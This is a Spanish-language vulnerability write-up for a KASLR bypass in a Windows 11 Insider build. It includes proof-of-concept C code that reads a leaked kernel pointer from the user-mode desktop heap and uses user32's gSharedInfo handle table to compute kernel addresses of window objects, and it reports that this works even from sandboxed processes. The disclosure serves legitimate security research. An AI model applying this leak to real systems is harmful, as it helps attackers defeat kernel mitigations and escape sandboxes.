CVE-2026-50416: Bypass de KASLR en Windows 11
En la compilación Insider de Windows 11 10.0.28020.2149, la asignación en modo usuario del montón del escritorio de Win32k exponía un puntero sin procesar del grupo del kernel de sesión en el desplazamiento 0x100.
La lectura en sí es casi ofensivamente pequeña:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
En mi sesión de prueba, eso devolvió:
0xffffc600dcc00040
El valor permaneció igual entre procesos en el mismo escritorio y cambió después de un reinicio. Un proceso lanzado en otro escritorio recibió un valor diferente porque tenía un montón de escritorio diferente. A partir de este único QWORD, el PoC recuperó la base del montón del escritorio del kernel y luego usó user32!gSharedInfo para derivar las direcciones del kernel de objetos de ventana activos.
La misma lectura funcionó desde integridad Low, AppContainer, una configuración LPAC con cero capacidades y un hijo AppContainer de integridad Low con cero capacidades.
Se supone que el montón del escritorio es compartido. El puntero del kernel no lo es.
Win32k almacena objetos USER como ventanas, menús, clases, hooks y metadatos relacionados en montones de escritorio. Cada escritorio tiene su propio montón. Parte de ese montón se asigna en los procesos asociados con el escritorio para que el modo usuario pueda leer el estado compartido de la GUI sin preguntar al kernel por cada campo.
En la compilación x64 probada, la asignación en modo usuario se puede alcanzar a través de los datos de cliente del TEB del hilo actual:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Los desplazamientos son específicos de la compilación, pero la ruta es simple:
GS:[0x30]
-> TEB
-> ClientInfo en TEB + 0x800
-> ClientInfo[5]
-> asignación del montón del escritorio en modo usuario
El PoC llama a VirtualQuery en la dirección devuelta y registra la región asignada y su protección. Nada ha salido mal todavía. Una asignación de solo lectura del montón del escritorio es un comportamiento normal de Win32k.
El problema comienza 256 bytes dentro.
El PoC principal lee un QWORD del montón asignado:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
El valor pasó las comprobaciones básicas esperadas de una dirección virtual del kernel en el sistema probado:
La prueba de estabilidad crea ventanas STATIC, BUTTON y EDIT, lee el valor antes de la creación, lo lee de nuevo mientras existen las ventanas, las destruye y lo lee una tercera vez.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Las tres lecturas devolvieron el mismo valor. La actividad de asignación de ventanas no lo movió. Ese comportamiento es consistente con un campo en los metadatos del montón del escritorio en lugar de un puntero a un objeto de corta duración.
La propiedad entre procesos es igualmente importante. Dos procesos adjuntos al mismo escritorio observan el mismo valor filtrado porque están mirando el mismo montón del escritorio. Después de un reinicio, KASLR le da a la sesión una nueva dirección. Un hijo colocado en otro escritorio observa otro puntero porque ese escritorio posee otro montón.
Eso le da a la fuga una identidad útil:
mismo arranque + mismo escritorio -> mismo puntero
mismo arranque + escritorio diferente -> puntero diferente
nuevo arranque -> puntero diferente
En la compilación probada, el puntero filtrado se encuentra 0x40 bytes por encima de la base del montón del escritorio del kernel utilizada por el PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Usando el valor de sesión registrado:
puntero filtrado = 0xffffc600dcc00040
base del montón del escritorio del kernel = 0xffffc600dcc00000
Esta relación es específica de la compilación. Para la compilación utilizada durante las pruebas, proporciona el ancla del lado del kernel necesaria para el siguiente paso.
Un puntero ya es útil. Una dirección para un objeto elegido es mucho más útil.
user32.dll exporta gSharedInfo, que expone la lista de entradas de handles USER y el tamaño de cada entrada:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Un HWND contiene un índice en la tabla de handles USER. El PoC toma los 16 bits bajos del handle, camina hasta la entrada correspondiente y lee el desplazamiento del montón del escritorio almacenado allí.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
El mismo desplazamiento nombra el objeto en ambas asignaciones:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Entonces el cálculo completo es:
base del montón del escritorio del kernel = desktop_heap[0x100] - 0x40
índice del handle = HWND & 0xffff
desplazamiento del montón = aheList[índice del handle].offset
dirección de la ventana del kernel = base del montón del escritorio del kernel + desplazamiento del montón
El PoC crea seis clases de ventana y realiza el cálculo para cada una:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXPara cada objeto, imprime el HWND, el índice del handle, la dirección del objeto en modo usuario, el desplazamiento del montón y la dirección del kernel.
HWND
-> índice de handle de 16 bits bajos
-> entrada de handle de gSharedInfo
-> desplazamiento del montón del escritorio
-> base del montón del escritorio del kernel + desplazamiento
-> dirección del kernel de ese objeto de ventana
Esta es la parte que convierte la divulgación de un puntero suelto del kernel en un oráculo de direcciones para objetos USER seleccionados en el montón del escritorio probado.
El montón del escritorio llega a través de una asignación compartida. Los niveles de integridad y las restricciones de AppContainer no reescriben el contenido de esa asignación para cada proceso. Si el proceso recibe el montón del escritorio, recibe el QWORD en 0x100 junto con él.
El PoC de sandbox lanza hijos en varios contextos y hace que cada hijo lea el valor desde su propio TEB y su propia asignación del montón del escritorio.